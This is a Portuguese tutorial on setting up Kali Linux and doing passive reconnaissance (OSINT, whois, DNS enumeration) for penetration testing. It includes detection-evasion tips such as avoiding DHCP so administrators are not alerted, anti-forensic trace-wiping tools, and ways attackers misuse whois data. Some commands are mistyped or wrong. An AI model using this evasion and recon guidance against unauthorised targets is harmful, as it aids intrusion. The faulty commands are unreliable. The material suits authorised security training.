Imprimir esta página

Hacker - O arsenal do atacante

Escrito por

A tecnologia da informação é um campo complexo, cheio de armadilhas devido à utilização em alguns softwares ultrapassados ou mal configurados para a proteção de redes corporativas, no entanto, isso envolve mais do que simplesmente gerenciamento de patches, firewalls, e educação do usuário; requer que o usuário esteja vislumbrando um mundo real frequentemente e isso envolve testes pesados em aplicações que estejam em ambiente de produção.

Essa é uma atividade trabalhosa e desafiadora, pois instiga a mente a seguir em frente, mesmo quando tudo parece normal, você é pago para pensar como um criminoso, para usar táticas de guerrilha para obter vantagens e para encontrar os pontos mais fracos em um alvo.

As coisas que você pode encontrar podem ser surpreendentes e até perturbadoras, mesmo para alguém com anos de experiência na profissão.

As empresas investem milhões de dólares em programas de segurança para proteger a infraestrutura crítica, identificar brechas na rede, e impedir violações de dados graves, más nem sempre são suficientes para manter um nível de segurança dos dados.

Enquanto você estiver estudando essa disciplina, lembre-se de que você não será necessariamente, direcionado a um sistema alvo, más sim a vários sistemas. Seu objetivo é mostrar, de forma correta e controlada, como um invasor poderia provocar danos a uma organização e afetar sua capacidade de, entre outras coisas, gerar receita, manter a sua reputação, e proteger seus clientes.

Como perito você deverá ser capaz de adquirir informações que possam ajuda-lo em um processo investigativo.

Lembre-se: a partir daqui você deve pensar com o que chamamos de mente fora da caixa.

Os profissionais chamados Ethical Hackings lidam com os recursos mais sensíveis de um alvo; eles ganham acesso a áreas que podem ter consequências desastrosas.

 

1 – O Kali é geralmente considerado como um sistema completo incluindo seu conjunto de ferramentas e facilidade de uso para testes de penetração.

 - Introdução à Kali, essa aula concentra-se na personalização do Kali  para apoiar alguns aspectos avançados  em teste de penetração. Até o final, você terá aprendido:

  • Uma visão geral do Kali
  • Serviços de rede configurar e comunicações seguras
  • Atualização do Kali
  • Personalização do Kali
  • Estender a funcionalidade do Kali com aplicativos de terceiros
  • A gestão eficaz de testes de penetração.

 

O BackTrack (BT), (www.offensive-security.com) foi liberado para fornecer uma grande variedade de ferramentas de teste de penetração e defensivas que eram perfeitos para auditores e administradores de rede interessadas em avaliar e garantir as suas redes.  As mesmas ferramentas foram usadas com ou sem autorização por (hackers) testadores de penetração.

A versão final do Backtrack foi a BT 5r3 e foi lançado em agosto de 2012. Com base na plataforma Ubuntu Linux, foi amplamente adotado e apoiado pela comunidade de segurança, Infelizmente, devido a sua arquitetura, foi se tornando cada vez mais difícil de gerenciar o conjunto de ferramentas e suas dependências.

No backtrack todas as ferramentas utilizadas para testes de penetração foram colocados no diretório /pentest. Subpastas, como / web / ou banco de dados ajudou a definir melhor a localização das ferramentas.  Encontrar e executar as ferramentas dentro dessa hierarquia poderia não ser intuitivo. Por exemplo, “o sqlninja”, que identifica uma injeção SQL, uma ferramenta web para avaliação de vulnerabilidades em um site web e explorar um banco de dados.

Então em março de 2013, o BackTrack Linux foi substituído pelo Kali, que usa uma nova plataforma, arquitetura baseada no sistema operacional Debian GNU / Linux. A Debian segue o Filesystem Hierarchy Standard (FHS), que é uma importante vantagem sobre o BackTrack. A partir de agora em vez de precisar navegar através da árvore / pentest, você pode chamar uma ferramenta de qualquer lugar no sistema porque os aplicativos estão incluídos no caminho do sistema.

Outras características do Kali incluem:

  • Suporte para múltiplos ambientes de desktop como o Gnome, KDE, LXDE, e XFCE, e fornece suporte multilíngue.
  • Os pacotes Debian são sincronizados com os repositórios do Debian pelo menos quatro vezes por dia, tornando-o mais fácil de atualizar e aplicar correções de segurança.
  • Suporte para personalizações ISO, permitindo que os usuários criem suas próprias versões do Kali. A função de inicialização também executa instalações de rede em toda a empresa que podem ser automatizadas.
  • O Kali pode ser instalado em diversos dispositivos.
  • Mais de 300 ferramentas para testes de penetração de dados forense e ferramentas defensivas estão incluídos. Fornece amplo suporte wireless com patches do kernel para permitir a injeção de pacote exigido por alguns ataques em rede sem fio.
  • O Kali continua a ser um projeto de código aberto que é livre. Mais importante ainda, é bem apoiado por uma comunidade online ativa.

Quando o Kali for iniciado, o usuário será levado para a área de trabalho padrão GUI com um menu onde encontram-se alguns itens simples. Ao selecionar os aplicativos no item do menu do Kali Linux, o usuário terá acesso a um sistema de menu que contém o Top 10 com as 10 principais Ferramentas de segurança, bem como uma série de pastas, organizadas na ordem geral, como mostrado na figura a seguir:

 

Configuração de serviços de rede e comunicações

O primeiro passo para você ser capaz de usar o Kali e para garantir que ele tenha conectividade com a rede cabeada ou sem fio e ter suportar as atualizações bem como as personalizações é obter um endereço IP por DHCP (Dynamic Host Configuration Protocol), ou atribuir um endereço estaticamente.

Primeiro, confirme o seu endereço IP usando o comando #ifconfig digite esse comando a partir de uma janela de terminal como usuário root, como mostrado na figura a seguir:

Se um endereço IP não foi atribuído pelo DHCP automaticamente utilize o comando #dhclient eth0 ou outras interfaces disponíveis, o que dependerá da configuração específica do seu sistema. Se você necessitar de um endereço estático deverá fornecer informações adicionais, como no exemplo a seguir: imagine que você precisa configurar o ip 192.168.20.121

host IP address: 192.168.20.121

subnet mask: 255.255.255.0

default gateway: 192.168.20.1

DNS server: 192.168.20.2

Abra uma nova janela de terminal e digite os comandos:

root@kali:~# ifonconfig eth0 192.168.20.121/24

root@kali:~# route add default gw 192.168.20.1

root@kali:~# echo nameserver 192.168.20.2> /etc/resolv.conf

As alterações feitas nas configurações de IP não são persistentes e serão perdidas quando o Kali for reiniciado. Para fazer as alterações permanentes, você precisará editar o arquivo  /etc/network/interfaces e fixar as informações acima no arquivo interfaces.

Por padrão não é bom manter o Kali para começar com o serviço DHCP habilitado. Pois que isso irá anunciar sua presença como um novo endereço de IP na rede e pode disparar algum alerta para os administradores sobre a sua presença. Más para a maioria dos casos isso não vem a ser um problema e pode inclusive vir a ser vantajoso ter alguns serviços iniciados automaticamente durante a inicialização.

Para colocar o sistema como padrão use os comandos a seguir:

root@kali~# update-rc.d networking defaults

root@kali~# /etc/init.d/networking restart

No Kali iniciar serviços de rede, interromper, mandar ser reiniciados ou interrompidos conforme necessário, incluindo DHCP, HTTP, SSH, TFTP, e o servidor VNC pode ser feitos pela linha de comandos. No entanto, alguns são acessíveis a partir do menu do Kali.

 

Ajustando as configurações de proxy da rede a partir pelo menu do Kali.

Os usuários localizados atrás de um proxy autenticado ou não autenticado deve modificar os arquivos bash.bashrc e apt.conf. Ambos os arquivos estão localizados no path /root/etc.

  1. Edite o arquivo bash.bashrc, como mostrado na figura a seguir, use o editor de texto de sua preferência para adicionar as seguintes linhas no final do arquivo bash.bashrc:

export ftp_proxy="ftp://user:password@proxyIP:port"

export http_proxy="http://user:password@proxyIP:port"

export https_proxy="https://user:password@proxyIP:port"

export socks_proxy="https://user:password@proxyIP:port"

 

 

  1. Substitua as informações de proxyIP e porta com o seu endereço de IP proxy, e número de porta respectivamente, e substitua o nome de usuário e senha com o seu nome de usuário e senha usados para autenticação no proxy. Se não tiver necessidade de autenticar, escreva apenas o que vem após o símbolo @.
  2. No mesmo diretório, crie o arquivo apt.conf e digite as seguinte linhas de comando com o que apresento a seguir:

 

Acquire::ftp::proxy “ftp://user:password@proxyIP:port/”;

Acquire::http::proxy “ftp://user:password@proxyIP:port/”;

Acquire::https::proxy “ftp://user:password@proxyIP:port/”;

Acquire::socks::proxy “ftp://user:password@proxyIP:port/”;

 

  1. Salve e feche o arquivo. Saia e em seguida faça login novamente para ativar as novas configurações.

 

Protegendo a comunicação com SSH

Para minimizar a detecção por uma rede alvo durante o processo, o Kali não permite que serviços de rede externos possam ficar ouvindo alguns serviços, como o Secure Shell (SSH). Esses serviços já estão instalados, no entanto, eles devem ser habilitados antes de usar. O Kali vem pré-configurado com chaves SSH padrão. Más antes de iniciar o serviço é interessante desativar as teclas padrão e gerar um conjunto de chaves exclusivo para uso. O ideal é mover as chaves SSH padrão para uma pasta de backup e em seguida, gerar um novo conjunto de chaves SSH usando o comando: #dpkg-reconfigure openssh-server

Conforme a seguir:

#cd /etc/ssh

#mkdir Keys_default

#mv ssh_host_* Keys_default

#dpkg-reconfigure openssh-server

Para verificar se as chaves recém-geradas são mesmo únicas, calcule os valores de seu hash md5, e compare com as chaves originais, como mostrado a seguir:

 

#md5sum ssh_host_*

# cd Keys_default

#keys_default# md5sum

Para iniciar o serviço SSH: Use o menu, selecione Applications | Kali Linux | Serviços do Sistema | SSHD | SSHD Start.

Para iniciar a partir da linha de comando, use o comando a seguir: #/etc/init.d/ssh start

Para verificar se o SSH está em execução, faça uma consulta netstat com o comando: #netstat –antp.

No exemplo anterior o daemon SSH estará escutando na porta 22. Para parar o serviço use o comando: #/etc/init.d/ssh stop

 

Atualizando o Kali Linux

O Kali deve ser atualizado regularmente para garantir que o sistema operacional base e aplicações estejam em suas ultimas versões e que os patches de segurança foram aplicados.

 

O sistema de gerenciamento de pacotes é o mesmo da distribuição Debian

O sistema de gerenciamento de pacotes do Debian conta com aplicativos incluídos, “chamados pacotes”. Os pacotes podem ser instalados ou removidos pelo usuário para personalizar o seu ambiente e apoiar as tarefas de testes de penetração. Eles também podem estender a funcionalidade do Kali. Tarefas de apoio, tais como comunicações (Skype, mensagens instantâneas e e-mails seguros) ou documentação (Office OpenOffice e Microsoft podem ser executados sob o Wine).

Os pacotes são armazenados em repositórios e são baixados para o usuário do sistema para garantir a integridade dos mesmos.

 

Pacotes e repositórios

Por padrão do Kali é usar apenas os repositórios oficiais. É possível que um processo de instalação incompleta não adicione os repositórios para as fontes corretas. Tem um arquivo de lista chamado sources.list no path /etc/apt/sources.list que você usar para estender os repositórios disponíveis e instalar novos aplicativos.

A atualização do arquivo source.list pode ser feita através de linha de comando, exemplo: #echo deb http://http.kali.org/kiali kali main contrib non-free >> /etc/apt/sources.list

Ou usando seu editor de texto preferido.

 

Os repositórios de pacotes padrão que devem estar presentes no arquivo /etc/apt/sources.list devem estar listados assim:

## Kali

deb http://http.kali.org/kali kali main contrib non-free

kali-dev deb http://http.kali.org/kali kali-dev main contrib non-free

kali Security updates deb http://security.kali.org/kali-security kali/updates main contrib non-free

Se não tiver essas informações mínimas você deve editar o arquivo e adicionar.

 

Nem todas as ferramentas do Kali serão mantidas nos repositórios oficiais da ferramenta. Se você optar por atualizar a ferramenta manualmente, é possível que você substitua a existente inclusive poderá haver perda de arquivos e dependências não resolvidas etc. Portanto, algumas ferramentas podem ter mudado o repositório oficial em relação aos repositórios do Debian, como o aircrack-ng, dnsrecon, SqlMap, Set Toolkit que são mantidas em repositórios separados. Estes repositórios (O Bleeding Edge repositor) por exemplo, também podem ser adicionados ao sources.list usando o comando:

## Bleeding Edge repository

deb http://repo.kali.org/kali kali kali-bleeding-edge main

 

Dpkg

Dpkg é o sistema de gerenciamento de pacotes do Debian. Este aplicativo de linha de comando é usado para instalar, remover e consultar pacotes. Em geral, o dpkg é executado em pacotes individuais.

 

A próxima a seguir, mostra um trecho dos dados retornados quando usamos o dpkg –l, Fornecendo uma lista de todos os aplicativos instalados na distribuição Kali; isto é útil na identificação de aplicações que só podem ser acessados diretamente a partir da linha de comando.

#dpkg -l

Usando as Ferramentas Avançadas

As ferramentas avançadas de empacotamento (APT) permitem estender as funcionalidades do dpkg pesquisando repositórios e instalando ou atualizando pacotes, juntamente com todo o necessário e as dependências. A APT também pode ser usada para atualizar uma distribuição completa.

 

Existem algumas opções de comandos, as mais comuns são as seguintes:

apt-get update: Usado para sincronizar a lista local de pacotes com a sua respectiva fonte, assim como definido no arquivo /etc/apt/sources.list.

 

apt-get upgrade: Usado para instalar as versões mais recentes de todos os pacotes instalados no sistema usando o endereçamento em /etc/apt/sources.list os pacotes são instalados no Kali com as novas versões ou atualizados. A atualização não irá alterar ou eliminar os pacotes que não estão sendo atualizados e não vai instalar pacotes que já não estejam presentes.

 

apt-get dist-upgrade: Atualiza todos os pacotes instalados atualmente no sistema e suas dependências. Ele também remove pacotes obsoletos do sistema. O comando apt-get também pode ser usado para mostrar uma descrição completa de forma organizada e identificar suas dependências (apt-cache show <nome do pacote>) ou remover um pacote (apt-get remove <package name>).

 

Alguns aplicativos não são atualizados pelo comando apt-get. Por exemplo,

a cópia local do arquivo do exploit-db estes devem ser atualizado manualmente. Uma boa dica é você criar um script chamado update.sh e adicionar os comandos a seguir, assim você irá automatizar o processo de atualização:

cd /usr/share/exploitdb

wget http://www.exploit-db.com/archive.tar.bz2

tar –xvjf archive.tar.bz2

rm archive.tar.bz2

Obs: com as devidas correções em nome e versão do aplicativo.

 

Configurando e customizando o Kali

O Kali é uma estrutura que pode ser usada para completar um teste de penetração. No entanto, o testador nunca deve se sentir preso as ferramentas que foram instaladas por padrão, ou pela aparência da área de trabalho do Kali. Ao personalizar o Kali, um testador pode aumentar a segurança dos dados do cliente que está sendo coletado, e torná-los mais fácil de fazer um teste de penetração.

 

As personalizações comuns feitas no Kali podem incluir:

  • Redefinição da senha de root
  • Adição de um usuário não-root
  • Aceleração das operações do Kali
  • Compartilhamento de pastas com MS Windows
  • Criação de pastas criptografadas

 

Para redefinir a senha do root basta usar o comando:# passwd root e seguir as orientações do sistema;

 

Adicionar um usuário non-root: Muitos dos aplicativos fornecidos no Kali devem ser executados com privilégios de root para que funcionem perfeitamente. Só que os privilégios de root possuem certo grau de risco, por exemplo, um comando de forma errada pode causar danos irreversíveis as aplicações ou mesmo danificar o sistema que está sendo testado. Em alguns casos é preferível fazer o teste com privilégios de usuário comum.

Para criar um usuário não-root, você pode simplesmente usar o comando adduser do terminal e seguir as instruções que aparecem na tela.

 

Acelerando as operações de Kali

Várias ferramentas podem ser usadas para aperfeiçoar e acelerar as operações do Kali e alguns conselhos são validos, exemplo: Ao criar uma máquina virtual, selecione um tamanho de disco fixo, em vez de um disco que é alocada dinamicamente. É mais rápido para adicionar arquivos para um disco fixo e há menos fragmentação do arquivo.

 

Aplicação de pré-carregamento (apt-get install preload) identifica um usuário o

mais comumente usado em programas e pré-carrega os binários e dependências em memória para fornecer um acesso mais rápido. Ele funciona automaticamente após a primeira reinicialização depois da instalação.

 

BleachBit (apt-get install bleachbit): libera espaço em disco e melhora a privacidade, liberando o cache, apaga cookies, limpa o histórico de Internet, e arquivos temporários, a exclusão de registros, e descarta outros arquivos que não são necessárias. As características avançadas incluem arquivos de destruição para prevenir recuperação e limpar o espaço livre em disco para esconder vestígios de arquivos que não foram totalmente eliminados.

 

Por padrão o Kali não mostra todos os aplicativos que estão presentes no inicio. Cada aplicativo que é instalado durante o processo de boot retarda a carga dos dados do sistema, o que pode impactar no uso de memória e desempenho do sistema. Para ajudar nesse quesito, Instale o Boot Up Manager para desativar os serviços e aplicações desnecessárias que são ativados durante a inicialização (apt-get install bum), como mostrado na a tela a seguir:

 

Para adicionar o gnome por exemplo, basta (apt-get install gnome).

 

Compartilhar pastas com o Microsoft Windows

O conjunto de ferramentas do Kali tem a flexibilidade de compartilhar os resultados com aplicações que residem em diferentes sistemas operacionais, especialmente Microsoft Windows. A maneira mais eficaz para compartilhar dados é criar uma pasta que seja acessível a partir do sistema operacional do host, assim como o Kali Linux VM.

Quando os dados são colocados em uma pasta compartilhada de um host ou na maquina virtual, fica imediatamente disponível através da pasta compartilhada para todos os sistemas que acessam essa pasta compartilhada.

 

Para criar uma pasta compartilhada, execute os seguintes passos:

1 - Crie uma pasta no sistema operacional host. Neste exemplo, será chamado de Share Kali;

 

2 - Clique com o botão direito do mouse na pasta e selecione a guia compartilhamento. A partir deste menu, selecione compartilhar;

 

3 - Certifique-se de que o arquivo foi compartilhado com todos, e que o nível de permissão para esteja como leitura/gravação;

 

4 - Se você ainda não tiver feito isso, instale as ferramentas apropriadas para Backtrack ou Kali. Por exemplo, ao usar o VMware, instale as ferramentas para VMware;

 

5 - Quando a instalação estiver concluída, vá até o menu e selecione VMware Virtual Ambiente Machine. Encontre o menu que permite pastas compartilhadas e selecione Sempre ativado, depois crie um caminho para a pasta compartilhada que está presente no host do sistema operacional, como mostrado na figura a seguir:

Obs: Se você estiver utilizando VirtualBox o processo é o mesmo.

 

6 - Abra o navegador de arquivos na área de trabalho do Kali. A pasta compartilhada já deve está visível na pasta mnt;

 

7 - Arraste a pasta na área de trabalho do Kali e crie um link para a pasta real “Faça o mapeamento”;

 

8 – A partir de agora tudo que for colocado na pasta de origem será acessível na pasta do mesmo nome no sistema operacional hospedeiro e vice-versa.

 

A pasta compartilhada, que conterá os dados sensíveis de um teste de penetração, deve ser criptografada para proteger a rede do cliente e reduzir a responsabilidade do testador que não pode deixar que qualquer dado seja perdido ou roubado.

 

Criando uma pasta criptografada com TrueCrypt

Durante um teste de penetração, você terá acesso a informações confidenciais do cliente, incluindo vulnerabilidades exploráveis e cópias de dados violados com sucesso.

É responsabilidade legal e moral do testador para garantir que essas informações, que estarão aos seus cuidados estejam integras a qualquer momento. O melhor meio de satisfazer essa responsabilidade é garantir que todas as informações do cliente são criptografadas durante o armazenamento e ou transmissão.

 

Para instalar o TrueCrypt no Backtrack ou Kali, execute os seguintes passos:

1 - No menu de aplicativos, selecione Acessórios | TrueCrypt.

2 - Para criar uma pasta criptografada, abra o aplicativo. Você será apresentado ao o menu principal, como mostrado na próxima figura:

3 - No menu principal, selecione o botão Criar volume. Isto irá iniciar o

Assistente de Criação do TrueCrypt, como mostrado na figura a seguir:

4 - Selecione a opção, criar um contêiner de arquivo criptografado e clique em Avançar;

5 - A próxima tela pedirá o tipo de volume, selecione TrueCrypt Padrão volume e clique em Avançar;

6 - Na tela volume Local, você será solicitado a especificar um volume TrueCrypt novo fornecendo um nome etc. Conforme mostrado a seguir:

7 - Escolha um nome de arquivo. Cuidado para não escolher um nome de arquivo relacionado com o cliente que está sendo testado ou que indique que o material sensível está presente no diretório. Use um número ou palavra para representar o cliente, e um título genérico para resultados. Salve o arquivo na área de trabalho, clique em seguir/Next.

8 - A próxima tela irá te fornecer as opções de criptografia. Selecione algoritmo de encriptação a partir do menu. Existem várias opções de escolha, mas para fins regulares, a AES (a chave padrão de 256 bits) será suficiente. Você também deve selecionar um algoritmo de hash a partir do menu, o padrão é, RIPEMD-160, ele deve ser suficiente). Depois é só clicar no botão avançar, como mostra a figura a seguir:

9 - Agora será solicitado o tamanho do volume. Você deve pensar em um tamanho mínimo necessário, normalmente 2GB é suficiente, más pode variar, dependendo do caso. Clique em seguir/next.

10 – Você deve escolher uma senha para proteger o volume de acordo com as regras previstas para senhas fortes. Selecione e confirme a senha, em seguida, clique em seguir/Next, como mostrado na figura a seguir:

11 - A próxima tela permite que você selecione opções de formato para sistemas de arquivos, selecione uma opção e avance;

12 - Na próxima tela crie uma chave aleatória para o sistema criptografado. A chave é baseada em movimentos do mouse, e você será solicitado a mover o mouse sobre a janela por um longo período para garantir a aleatoriedade (força criptográfica) das chaves de criptografia etc.. Quando terminar, clique em formatar para criar o volume TrueCrypt.

13 - O volume final deve ter sido criado com sucesso. Ele aparecerá como um ícone na área de trabalho. O volume é criptografado e pode ser copiado para um dispositivo de armazenamento externo.

Para usar o volume criptografado, você deve primeiro escolher uma abertura para gerenciar a pasta no menu principal TrueCrypt. Quando isso for feito, use o botão Selecionar Arquivo para selecionar o nome do arquivo criptografado. Neste caso, vamos usar um arquivo previamente feito chamado pentest localizado na área de trabalho, como mostra a figura a seguir:

Clique no botão Montar. Neste ponto, você será solicitado a digitar a senha, como mostrado na figura seguir:

Quando a senha correta for digitada, você vai ver os detalhes e poderá mudar para refletir as propriedades da pasta criptografada, e um novo ícone chamado truerypt1 será exibido como mostrado na figura a seguir:

Se você clicar duas vezes no ícone truecrypt1, você será levado ao navegador de arquivos.

 

Gerenciando aplicativos de terceiros

Embora o Kali venha pré-carregado com centenas de aplicações, é provável que você tenha que instalar aplicativos adicionais para testar efetivamente ambientes específicos (como sistemas industriais etc.), adicionar novas ferramentas de ponta, ou garantir que suas ferramentas favoritas são instaladas. Com Kali é muito fácil localizar, instalar e gerenciar essas ferramentas.

 

Instalação de aplicativos de terceiros

Existem várias maneiras de instalar aplicativos de terceiros: usando o apt-get

comando, o acesso a um repositório GitHub, e instalar diretamente do aplicativo. 

Todas as ferramentas devem ser instaladas a partir do repositório Kali Linux usando o apt-get

comando de instalação. O comando de instalação pode ser executado a partir da linha de comando em uma janela de terminal, ou o usuário pode selecionar uma ferramenta de gerenciamento de pacotes gráfico.

 

Aplicativos de terceiros recomendados incluem:

apt-file: Esta é uma ferramenta de linha de comando para procurar dentro de pacotes do Sistema de pacotes APT. Ele permite que você listar o conteúdo de um pacote sem instalar ou buscar isso. 

gnome-tweak-tool: Permite que os usuários alterem temas e rapidamente e configure opções de desktop.

instanbul: É um gravador de tela de desktop que permite que você faça um

filme de atividades da área de trabalho etc..

openoffice: Este é um pacote de produtividade de escritório open source que auxilia na documentação.

scrub: Esta é uma  ferramenta (anti-forense) ferramenta de exclusão segura.

shutter: Esta é uma ferramenta de captura de tela que pode capturar as imagens de um desktop, janela aberta, ou mesmo uma seleção.

team viewer: Este programa suporta acesso remoto e administração remota.

Também permite que os testadores coloque um computador pré-configurado em casa para funcionar como repositório.

terminator: Esta ferramenta é um substituto para a janela do terminal do Linux que permite que o texto horizontal de rolagem, não fique mais embaralhada.

Ferramentas que não estão presentes em um repositório Debian e que sejam acessíveis usando o apt-get podem ser instaladas no Kali.

Finalmente, alguns aplicativos devem ser instalados manualmente.

 

A execução de aplicativos de terceiros com privilégios no-root

O Kali Linux destina-se a apoiar o teste de penetração e a maioria das ferramentas exigem acesso em nível de root, é por isso que o acesso ao conjunto de ferramentas e dados são protegidos com senhas e criptografadas.

No entanto, algumas ferramentas de terceiros não são destinadas a serem executadas com privilégios de root.

Ferramentas como navegadores da web podem ser comprometidas e dar ao invasor acesso privilegiado de root e isso pode ter um impacto significativo de segurança.

 

A gestão eficaz de testes de penetração

Um dos aspectos mais difíceis do um teste de penetração é se lembrar de testar todas as partes relevantes do alvo, rede ou sistema, ou tentar lembrar se o alvo foi testado na verdade, após o teste tenha sido concluído.

BT 5r3 enfatizou o uso de ferramentas de gestão, tais como Dradis e MagicTree Estas ferramentas facilitam o teste em grupo, fornecendo um repositório central para armazenar os dados do teste.

Além disso, elas costumam fornecer alguma estrutura para que os testadores saibam onde estão, dentro de uma metodologia de testes, e quais testes ainda não foram completados.

Ferramentas desta natureza são excelentes na coordenação das atividades de grupo definidos durante uma avaliação de vulnerabilidade ou teste de penetração.

Essas ferramentas permanecem nas Applications | Kali Linux | como Ferramentas de relatórios

Alguns testadores usam keyloggers ou Wireshark durante os testes para gravar teclas e tráfego de pacotes gerados durante o teste. Estes dados podem ser especialmente úteis se o teste estiver causando alguma falha na rede.

O Kali Linux inclui diversas ferramentas que são mais adequados para fazer anotações rápidas e que serve como um repositório de dados, copiar, recortar e colar adicionados rapidamente, o KeepNote e do ambiente de trabalho wiki.

É sempre bom usar uma ferramenta para capturar imagens a partir do desktop.

Por padrão o Kali traz o CutyCapt, que é uma linha de comando multi-plataforma. É um utilitário que captura uma página web e cria uma variedade de tipos de imagem, incluindo a PDF, PS, PNG, JPEG, TIFF, GIF e BMP.

 

 

Identificando o alvo de forma passiva

Em um teste ou ataque contra um alvo em rede ou em um servidor, o atacante levará 75% do seu tempo dedicado ao reconhecimento, uma vez que é nesta fase que o alvo será definido, mapeado e explorado para se encontrar as vulnerabilidades especificas. Existem dois tipos de reconhecimento:

 

Reconhecimento passivo e reconhecimento ativo. Geralmente no reconhecimento passivo estamos preocupados com a análise de informações que estejam disponíveis, geralmente na internet e parte do próprio alvo ou fontes públicas on-line.

Ao acessar estas informações, o atacante não interage com o alvo de imediato, o objetivo é não denuncia sua presença de forma antecipada e desnecessária. Por isso o reconhecimento passivo é realizado primeiro para minimizar o impacto de um contato direto, o que faria com que sua presença fosse percebida pelo alvo.

 
Princípios básicos de reconhecimento

O Reconhecimento é o primeiro passo para se inciar uma série de destruição em um sistema alvo. É realizado antes do ataque real ao alvo. Os resultados vão dar uma direção para onde, por onde e como o reconhecimento adicional pode ser necessário ou as vulnerabilidades passiveis de ataques e que serão encontradas nessa fase que será segmentada conforme a figura a seguir.

No reconhecimento passivo não à interação direta entre origem e alvo.
Você pode, por exemplo, usar o Google para procurar endereços de e-mail do alvo e outras informações tranquilamente. Em geral as informações que se busca no reconhecimento passivo encontram-se na empresa, no site, nos fornecedores ou até mesmo com os funcinários da empresa. Informações deste tipo estão sempre disponíveis na Internet ou outras fontes públicas, e às vezes são referidas como open source inteligência, ou OSINT.


Já o reconhecimento ativo envolve consultas diretas ou outras interações (por exemplo, a exploração de portas do alvo) que podem disparar alarmes de sistema ou permitir que o alvo possa capturar o endereço IP e as atividades do invasor.

Para um reconhecimento passivo de sucesso, dentre outras informações, deve-se considerar as seguintes fontes.

*www.archive.org

*http://searchenginecolossus.com
*www.zuula.com
*blogs corporativos e de funcionários, bem como blogs pessoais de funcionários chave dentro da corporação
*Redes sociais (LinkedIn, Facebook e Twitter
*Sites que fornecem pesquisas de DNS, rota, e as informações do servidor, especialmente DNSStuff (www.dnsstuff.com), ServerSniff (www.serversniff.net),
Netcraft (www.netcraft.com), e myIPneighbors.com
* Shodan (www.shodanHQ.com), muitas vezes referido como o "Google hacker"; O Shodan lista os dispositivos acessíveis pela Internet e permite que o atacante procure os dispositivos com vulnerabilidades conhecidas pastebin.com e muito outros devem ser considerados.

 

Reconhecimento DNS e mapeamento de rota

Uma vez que um atacante identifica os alvos que têm presença on-line e contêm alguns itens de seu interesse, o próximo passo é identificar os endereços IP e as rotas possiveis para o alvo.
O Reconhecimento DNS está preocupado com a quem pertence um domínio específico ou série de endereços IP, as informações de DNS definem o nome real de um domínio e os endereços IP atribuídos ao alvo, além do percurso entre o atacante e o alvo final.

 

WHOIS

O primeiro passo ao pesquisar o espaço de endereço de IP é identificar os endereços que são atribuídos ao alvo. Isto é conseguido normalmente usando o comando whois, que permite a consulta a bancos de dados que armazenam informações sobre usuários registrados em um recurso da Internet, como um nome de domínio ou endereço IP.

#whois www.clubedohacker.com.br
Dependendo da base de dados que é consultada, a resposta a um pedido WHOIS pode fornecer nomes, endereços físicos, números de telefone e endereços de e-mail (útil para facilitar os ataques de engenharia social), bem como endereços IP e nomes de servidor DNS.

Um invasor pode usar informações de uma consulta whois para:

  • Apoiarum ataque de engenhariasocial o alvoou pessoas ligadas a ele;
  • Identificaros números de telefoneque podem ser utilizadospara umamarcação ouataque de guirrilha ou mesmo para realizar umataque de engenharia social;
    • Realizar pesquisas recursivas para e localizar outros domínios hospedados no mesmo servidor com o alvo ou administrados pelo mesmo usuário; se eles estiverem inseguros um atacante pode explorá-los para ter acesso administrativo ao servidor, e, em seguida, comprometer o servidor de destino;
    • Verificar o prazo de expiracão do domínio, um atacante pode tentar apreender
    o domínio e criar um site fake para comprometer visitantes que pensam estar navegando no site original e muitos outros tipos de ataques.

 

Consulta reversa DNS

O Domain Name System (DNS) é um banco de dados distribuído que resolve nomes (www.clubedohacker.com.br) aos seus endereços, desde a maquina local até o alvo.

 

Os invasores usam as informações de DNS para:

  • Verificar se o servidor está configurado para permitir transferência de zona a qualquer solicitante, o que iria fornecer os nomes de host e endereços IP de sistemas acessíveis pela Internet, tornando mais fácil identificar os alvos potenciais.
  • Encontrar serviços que possam ser vulneráveis ​​(por exemplo, FTP) ou outras aplicações interessantes como, (painéis de administração remota e acesso remoto).
    • Encontrar servidores mal configurados edc.)..

IPv4

O IP ou endereço IP, é um número exclusivo utilizado para identificar os dispositivos que estão ligados a uma rede privada ou a Internet pública. Hoje em dia, a Internet é largamente baseada na versão 4, IPv4. O Kali inclui várias ferramentas para facilitar o reconhecimento de DNS, como descrito a seguir:

 

dnsenum www.clubedohacker.com.br  e dnsrecom

Estes são scanners de DNS muito abrangentes, consulta registro de enumeração (A, MX, TXT, SOA, e assim por diante), pesquisa subdomínios, pesquisa inversa, transferência de zona.  O dsnrecon é geralmente a primeira escolha e é muito confiável, os resultados são bem analisado, e os dados podem ser importados diretamente para o Metasploit Framework.

 

dnsecon com suas varias opções.

 

dnstracer

Isso determina onde um determinado Sistema de Nomes de Domínio obtém suas informações a partir de onde, e segue o caminho dos servidores DNS de volta aos servidores que conhecem os dados.

 

 dnswalk

Este depurador DNS checa os domínios especificados para verificar a consistência interna e sua precisão.

Fierce

Localiza espaços de IP não contíguos e nomes de host, contra domínios especificados por zona tenta fazer transferências e, em seguida, tenta ataques de força bruta para obter informações do DNS.

O correto é utilizar todas as opções para obter-se o Maximo de informações possivel.

 

IPv6

Embora o IPv4 parece permitir um grande espaço de endereços, os endereços IP disponíveis gratuitamente foram esgotados há vários anos, forçando a utilização de NAT e DHCP para aumentar o número de endereços disponíveis. Uma solução mais permanente tem sido encontrada na adoção de um esquema de endereçamento IP melhorado, chamdo de IPv6.

Embora ainda esteja constituindo menos de dez por cento dos endereços da Internet, a sua utilização está aumentando de forma gradativa e os testadores de penetração devem estar preparados para lidar com as diferenças entre IPv4 e IPv6.
Em IPv6, os endereços de origem e destino são de 128 bits de comprimento, produzindo 2128 endereços possíveis!
O aumento do tamanho do espaço de endereço endereçável apresenta alguns problemas para os testadores de penetração, especialmente quando se utilizam os scanners.

 

O Kali inclui várias ferramentas desenvolvidas para tirar proveito do IPv6 (de forma mais abrangente. Scanners, como o nmap, já suportam IPv6):, Conheça algumas; ferramentas que são especial para o IPv6 e foram em grande parte derivado do Toolkit THC-IPv6 Attack.

 

dnsdict6

Enumera subdomínios para obter endereços IPv4 e IPv6 (se houver) usando pesquisa de força bruta com base em um arquivo de dicionário fornecido ou o sua própria lista interna.

 

 

dnsrevenum6

Realiza enumeração reversa de DNS dando um endereço IPv6.

 

Mapeamento de Rotas

